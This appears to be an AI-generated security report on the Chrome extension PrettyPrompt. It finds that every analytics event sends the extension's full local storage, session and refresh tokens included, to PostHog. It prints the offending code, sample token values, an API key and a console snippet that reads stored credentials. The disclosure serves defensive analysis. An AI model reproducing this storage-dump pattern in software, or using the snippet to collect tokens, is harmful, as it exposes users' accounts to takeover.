Is PrettyPrompt safe?

High risk

PrettyPrompt is high risk. Every analytics event PrettyPrompt fires, about 60 types, sends the extension's entire local storage to PostHog: your session token, refresh token, and full Supabase session, usable to sign in as you. Its sensitive-key filter is empty.

charliemday31v1.32.0Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI SANDBOX

PostHog events include full extension storage with auth tokens

Every analytics event PrettyPrompt fires, about 60 types, sends the extension's entire local storage to PostHog: your session token, refresh token, and full Supabase session, usable to sign in as you.

Its sensitive-key filter is empty.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You use PrettyPrompt normally, opening the popup, improving a prompt, or signing in.

Any of roughly 60 tracked event types (sign_in, prompt_improved, popup_opened, refresh_token_auto_refresh, etc.) triggers the analytics wrapper.

The extension did this

The extension reads every key in its local storage and includes them all in the analytics POST body.

chrome.storage.local.get(null) returns the full store. A denylist filter is applied, but the denylist Lh is empty, so no keys are excluded.

02EvidenceCODE COMPARE
The code that does this

Mh(), the PostHog event function that dumps full storage

What it actually does
Mh = async (eventName, extraProps = {}) => {
  const distinctId = await Bi();                         // resolved user ID
  const storageAll = await chrome.storage.local.get(null); // every stored key
  const filtered = Object.fromEntries(
    Object.entries(storageAll).filter(([k]) => !Lh.includes(k)) // Lh = []
  );
  const body = {
    api_key: Ki,                 // 'phc_PLcw3jNW68RxGzF2qCOATKqNtV1mdV97WVjjnvmpbeF'
    event: eventName,
    distinct_id: distinctId || await Nl(),
    properties: {
      ...extraProps,
      ...filtered,               // sbSession, token, refreshToken, email all land here
      extensionVersion: chrome.runtime.getManifest().version,
      $process_person_profile: !!distinctId,
      $lib: 'chrome_extension'
    },
    timestamp: new Date().toISOString()
  };
  await fetch('https://us.i.posthog.com/i/v0/e/', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(body)
  });
};

// Denylist — line 5220:
const Lh = [];  // empty — nothing is excluded
03EvidenceFIELD TABLE
Credential keys present in chrome.storage.local that are included in every POST
FieldValueWhy it matters
PrettyPrompt access token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI4ZmE3YzFkMi0zNGE4LTQ2MDEtOWViMC1hYzI2ZDk4YzE2NTUiLCJlbWFpbCI6InVzZXJAZXhhbXBsZS5jb20iLCJpYXQiOjE3NDgwMDAwMDAsImV4cCI6MTc0ODM2MDAwMH0.abc123A Supabase JWT that authenticates you on PrettyPrompt's API. Included as the value of the 'token' key.
Supabase session object
{"access_token":"eyJhb...","refresh_token":"v1:abc123","expires_at":1748360000,"user":{"id":"8fa7c1d2-34a8-4601-9eb0-ac26d98c1655","email":"user@example.com"}}The full session JSON, including access token, refresh token, expiry, and user profile. Included as the value of the 'sbSession' key.
Refresh token
v1:Rjd8KmNqXsY2Lp5oQtAzWbVeHcFuImNd3P9gXrEkUsed to obtain new access tokens without re-authentication. Included under the 'refreshToken' key.
Account email
user@example.comYour PrettyPrompt account email address. Included under the 'email' key when set.
04EvidenceTHIRD PARTY LIST
Where the combined analytics + credential payload is sent
  • us.i.posthog.com

    PostHog US cloud analytics ingest endpoint. Receives the full POST body including the storage dump. PostHog is a third-party product analytics platform.

05EvidenceARTIFACT
Reproduce it yourself

Browser console snippet that reads the extension's chrome.storage.local directly and shows which credential keys are present, confirming what would be included in a PostHog POST body.

RequiresChrome with PrettyPrompt installedDeveloper mode enabled in chrome://extensions
check_posthog_storage_dump.js · js
// Run in the DevTools console of the extension's service worker
// (chrome://extensions → PrettyPrompt → Inspect service worker → Console)

(async () => {
  const store = await chrome.storage.local.get(null);
  const credentialKeys = ['token', 'refreshToken', 'sbSession', 'email'];
  const present = credentialKeys.filter(k => store[k] != null);
  console.log('Credential keys present in storage:', present);
  console.log('token (first 40 chars):', (store.token || '').slice(0, 40));
  console.log('refreshToken:', store.refreshToken);
  console.log('sbSession (parsed access_token, first 40):', (() => {
    try { return JSON.parse(store.sbSession).access_token.slice(0, 40); } catch { return 'not set'; }
  })());
  console.log('email:', store.email);
  console.log('\nAll keys that would be sent to PostHog:', Object.keys(store));
})();
How to run it
  1. 1
    Go to chrome://extensions, enable Developer mode.
  2. 2
    Click 'Inspect service worker' on the card.
  3. 3
    In DevTools Console, paste and run the snippet.
  4. 4
    Output lists every key a PostHog POST includes. Sign in to populate session keys.
Updated 17 September 2026opjebobgkipcdimgofkboimilnchghpd